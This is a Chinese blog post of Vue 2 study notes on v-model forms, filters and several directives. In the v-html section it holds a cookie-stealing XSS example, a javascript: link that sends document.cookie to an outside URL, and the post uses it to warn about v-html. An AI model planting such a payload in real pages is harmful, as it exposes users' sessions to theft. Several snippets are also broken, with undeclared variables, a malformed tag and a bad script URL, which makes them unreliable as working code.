vue part4

于 2024-08-26 17:50:06 发布
阅读量760 收藏 20
点赞数 10
文章标签： vue.js 前端 javascript
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/E___V___E/article/details/141532460
版权

收集表单数据

v-model

label直接包住input不用关联也可以获取焦点

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>收集表单数据</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
</head>

<body>
    <div id="root">
        <form @submit.prevent="submitForm"></form>

        账号: <input type="text" v-model.trim="account"><br><br><!-- trim在公司中非常常用，简化string -->
        密码:<input type="password" v-model="password"><br><br>
        性别:
        男<input type="radio" name="sex" value="male" v-model="sex">
        女<input type="radio" name="sex" value="female" v-model="sex"><!-- v-model只能value值导致男女无法 -->
        <br><br>
        爱好:
        篮球<input type="checkbox" v-model="hobby" value="篮球">
        足球<input type="checkbox" v-model="hobby" value="足球"><!-- 不用value就会返回1或0 -->
        乒乓球<input type="checkbox" v-model="hobby" value="乒乓球"><!-- habby的初始值会影响返回值-->
        <!-- CheckBox要分情况，1）如果是数组收集各项的value；2）非数组收集的是true-value和false-value的值，默认选中为true，不选为false  -->
        <br><br>
        所属校区:
        <select v-model=" city">
            <option value="">请选择校区</option>
            <option value="beijing">北京校区</option>
            <option value="shanghai">上海校区</option>
            <option value="guangzhou">深圳校区</option>
            <option value="wuhan">武汉校区</option>
        </select>
        <br><br>
        其他信息:
        <textarea v-model.lazy="other"></textarea><br><br><!-- lazy 修饰符可以防止频繁更新，延迟更新，减少不必要的渲染 -->
        <input type="checkbox" v-model="agree">阅读并接受<a href="#">《用户协议》</a>
        <button>提交</button>
        </form>
        <!-- 事实上会跳转的原因是 button 的 type 没有指定，默认是 submit 类型，又在 form 里，才导致了页面跳转，把 button 的 type 设为 button 也可以处理这个问题 -->
        <!-- 可以把按钮的type参数改掉，因为不写的话默认type是submit，就会触发默认的提交事件 -->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示

    new Vue({
        el: '#root',
        data: {
            //userInfo: {
            account: '',
            password: '',
            sex: '',
            hobby: [],
            city: 'beijing',
            other: '',
            agree: false,
            //}    如果加了userInfo，那就要用userInfo.account，userInfo.password等等等等
            //按住 Alt 不放，鼠标去选
        },
        methods: {
            demo() {
                console.log(this._data)
                console.log(JSON.stringify(this._data))/* 都可以获取到数据，vue版和明文版*/
            }
        },
    })

</script>

</html>

收集表单数据：
若：<input type="text"/>,则v-model收集的是value值，用户输入的就是value值。
若：<input type="radio"/>,则v-model收集的是value值，且要给标签配置value值。
若：<input type="checkbox"/>
1.没有配置input的value属性，那么收集的就是checked(勾选 or 未勾选，是布尔值)
2.配置input的value属性：
(1)v-model的初始值是非数组，那么收集的就是checked(勾选or 未勾选，是布尔值)
(2)v-model的初始值是数组，那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤

过滤器

moment.js库，很好，就是有点大，轻量级的dayjs.js

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>时间戳</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/dayjs/1.10.4/dayjs.min.js"></script>
</head>

<body>
    <div id="root">
        <h2>显示格式化的时间戳</h2>
        <!-- 计算属性实现 -->
        <h3>现在是{{ fmtTime }}</h3>
        <!-- method实现 -->
        <h3>现在是{{ getFmtTime() }}</h3>
        <!-- 过滤器实现 -->
        <h3>现在是{{ time | timeFormater}}</h3><!-- 函数的返回值要加（）,返回函数体不加() -->
        <!-- 过滤器实现 -->
        <h3>现在是{{ time | timeFormater('YYYY年MM月DD日')}}</h3><!-- 函数的返回值要加（）,返回函数体不加() -->
        <h3>现在是{{ time | timeFormater('YYYY年MM月DD日') | mySlice }}</h3>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示

    new Vue({
        el: '#root',
        data: {
            time: 1921561277603
        },
        computed: {
            fmtTime() {
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(time) {
                return dayjs(time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //下面的是局部过滤器
        filters: {
            //过滤器可以对前面你写的数据进行按照某种形式加工处理
            //从 Vue 3.0 开始，过滤器已移除，且不再支持。
            timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
                return dayjs(value).format(str)
            },
            mySlice(value)//层层过滤，
            {
                return value.slice(0, 5)
            }
        }
    })

</script>

</html>

不想写全局的

过滤器：
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。语法：
1.注册过滤器: Vue. filter(name, callback)或 new Vue{ filters:{}}
2.使用过滤器：{xxx“过滤器名}或v—bind：属性=”xxx“过滤器名”备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联2.并没有改变原本的数据，是产生新的对应的数据

指令

v-text指令

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>时间戳</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/dayjs/1.10.4/dayjs.min.js"></script>
</head>

<body>
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name">hello</div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            str: '<h3>尚硅谷</h3>'
        },

    })

</script>

</html>

v-text指令：
1.作用：向其所在的节点中渲染文本内容。
2.与插值语法的区别：v—text会替换掉节点中的内容，{{xx}则不会。

v-html

cookie editor

这个插件可以批量下载cookies

cookies可以选择httponly，只能用http协议读取，

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>时间戳</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/dayjs/1.10.4/dayjs.min.js"></script>
</head>

<body>
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name">hello</div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            str1: '<h3>你好阿</h3>',
            str2: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>想要的支援</a>'

        },

    })

</script>

</html>

v-html指令：
1.作用：向指定节点中渲染包含html结构的内容。
2.与插值语法的区别：
（1），v—html会替换掉节点中所有的内容，{{xx}则不会。
(2).v-html可以识别html结构。
3.严重注意：v—html有安全性问题！！！！
（1），在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
（2），一定要在可信的内容上使用v—html，永不要用在用户提交的内容上！

v-cloak

在f12的网络里面，有一个调网速

 

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>时间戳</title>
    <!-- <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> -->
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/dayjs/1.10.4/dayjs.min.js"></script>
    <style>
        [v-cloak] {
            display: none;
        }
    </style>
</head>

<body>
    <!-- 
    v-cloak指令：
        1.本质是一个特殊属性，vue实例创建完毕接管容器后，会移除该指令，从而显示容器内容。
        2.使用css配合v-cloak指令，可以实现页面加载时，隐藏容器内容，解决{{xxx}}的问题
     -->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="https//cdn.jsdelivr.net/npm/vue/dist/5s/vue.js"></script>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
        },

    })

</script>

</html>

v-once

v-once指令：
1.v—once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v—once所在结构的更新，可以用于优化性能。

v-pre

自定义指令

定义v-fbind指令，和v-bind相似，可以让他绑定的input元素默认获取焦点

autofocus自动获得焦点

046_尚硅谷Vue技术_自定义指令_对象式_哔哩哔哩_bilibili讲的很好

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>时间戳</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/dayjs/1.10.4/dayjs.min.js"></script>

</head>

<body>
    <div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是：< span-text="n"></span>
                <h2>放大10倍后的n值是：<span v-big="n"></span></h2>
                <button @click="n++">点我n+1</button>
                <hr />
                <input type="text" v-fbind: value="n">


    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',

        },
        directives: {
            //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
            // big(element, binding) {
            // console.log('big')
            //     element.innerText = binding.value * 10
            // },
            fbind: {
                bind() {
                    // console.log('fbind')
                    element.value = binding.value
                },
                // 指令所在元素被插入页面时，
                inserted() {
                    //console.log('inserted')
                    element.focus()
                },
                update() {
                    //console.log('update')
                    element.value = binding.value
                },

            }
        }
    })

</script>

</html>

总结

这里有个好理解的方式，就是我们操作了dom，其实只有window下才能操作dom

E___V___E
关注
  • 10
    点赞
  • 踩
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
package_eclipse_vue_part.rar
01-22
关于本人所写博客中eclipse安装vue报错，所需三个jar文件压缩包，凑50字实在太难了。。。 关于本人所写博客中eclipse安装vue报错，所需三个jar文件压缩包 关于本人所写博客中eclipse安装vue报错，所需三个jar文件...
vue面试题-part 1
08-15
4. **销毁期间**： - `beforeDestroy`：实例销毁之前调用，此时仍然可以访问到实例的方法和属性。 - `destroyed`：Vue实例销毁后调用，此时Vue实例指示的所有指令都被解绑，所有的事件监听器被移除，所有的子实例...
vue part4 vue-router
weixin_33737134的博客
09-21 77
文档https://router.vuejs.org/zh-cn npm install vue-router --save 调用 import Vue from 'vue' import VueRouter from 'vue-router' Vue.use(VueRouter) View Code 流程 a. views目录内组件 b.router...
vue的PARTⅠ
m0_49504081的博客
07-30 162
借鉴费曼学习法学习vue
vue2 part3
E___V___E的博客
08-25 809
年龄+1岁添加性别属性，默认值：男修改性别在列表首位添加一个朋友
vue2 part1
E___V___E的博客
08-22 970
一套用于构建用户界面的渐进式JavaScript框架Vue可以自底向上逐层的应用简单应用：只需一个轻量小巧的核心库复杂应用：可以引入各式各样的Vue插件优化的本质就是加中间件，如果不够就再加一层Vue有很完整的生态，周边库一大堆awesomejs.dev/for/vue/ 这个网站有部分优秀。
Vol.Vue_20210401.part2_vol_vue_
10-03
开源的vol.vue源码，包括全部源码和资料。这是后端，前端在Vol.Vue，分卷压缩包第二部分
Vol.Vue_20210401.part1_vol_vue_
10-03
开源的vol.vue源码，包括全部源码和资料。这是后端，前端在Vol.Vue
Vue学习之旅Part7：三种Vue的动画实现方式及列表的动画效果
01-08
在Vue中 有三种动画的实现方式 分别是： 使用过渡类名实现 使用第三方animate.css实现 使用钩子函数实现 下面将一一介绍： 1、使用过渡类名实现 首先 来了解一下动画的过渡类名： ( 这是我在Vue官网找到的一个示意...
vue ref和reactive区别
灰海
08-25 412
在第二个示例中，我们使用了reactive来创建一个名为state的响应式对象，它包含name和age两个属性。在模板中，我们通过{{ state.name }}和{{ state.age }}来显示state对象的属性值。在第一个示例中，我们使用了ref来创建一个名为count的响应式引用，它是一个简单的数字类型。在模板中，我们通过{{ count }}直接显示count的值，而不需要.value前缀，因为Vue的模板语法会自动处理ref的.value访问。
基于vue3和audio封装的简易音频播放器
weixin_43734732的博客
08-23 302
【代码】基于vue3和audio封装的简易音频播放器。
Ant Design Vue 快速上手指南与常见问题排查
windowshht的博客
08-22 1162
Ant Design Vue 是一款功能强大的 Vue 组件库，能够帮助开发者快速构建高质量的用户界面。通过本文的快速上手指南，您可以轻松地在项目中集成 Ant Design Vue，并解决常见问题。希望这篇文章能为您的开发工作提供帮助，提升您的开发效率。如需深入了解 Ant Design Vue 的更多功能和组件，请参考Ant Design Vue 官方文档。
vue export的用法
weixin_41203765的博客
08-23 364
在Vue.js中，export关键字主要用于模块化编程，它允许你将一个文件（模块）中的代码、组件、函数、变量等导出，以便在其他文件中通过import语句来使用。这在Vue项目中非常常见，特别是当你需要重用组件、工具函数或配置时。
Vue Styled Components 新版本发布
As的博客
08-22 452
Feature ### 自动添加前缀(Auto Prefixing) vue-styled-components 会在编译 CSS 时自动添加浏览器私有前缀，这可以确保你的 CSS 规则在最常见的浏览器中兼容。
禁止浏览器默认填充密码 vue
weixin_42348009的博客
08-22 397
不能完全阻止浏览器自动填充。你还可以为账号和密码的输入框动态设置。可以防止浏览器自动填充表单中的账号和密码。属性，使浏览器难以识别这些字段。
vue中定义一个url文件,在vue文件中引入
weixin_65767506的博客
08-22 317
1.在src/utils文件夹下创建一个url.js。3.在其他vue文件中引入。2.url.js的内容为。4.在挂载时打印一下。打印出来就可以用了.
移动端签名
notagoodwriter的博客
08-23 346
【代码】移动端签名。
Vue：快捷文本
最新发布
MMF博客园
08-26 354
Vue：快捷文本
vue component
03-28
Vue component is a reusable and modular part of a Vue.js application that encapsulates its own logic, HTML, and CSS. Components are an essential concept in Vue.js, and they allow for easier management, development, and maintenance of complex applications. A Vue component consists of a template, a script, and a style section. The template defines the HTML markup, the script section contains the component's logic, and the style section contains styling rules. A component can be used multiple times throughout an application, and it can also be shared across different applications. Vue components can also be customized by passing data and props to them, making them highly flexible and adaptable to different use cases. Overall, Vue components make it easier to build and maintain complex applications, as they allow developers to break down the application into smaller, more manageable pieces.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值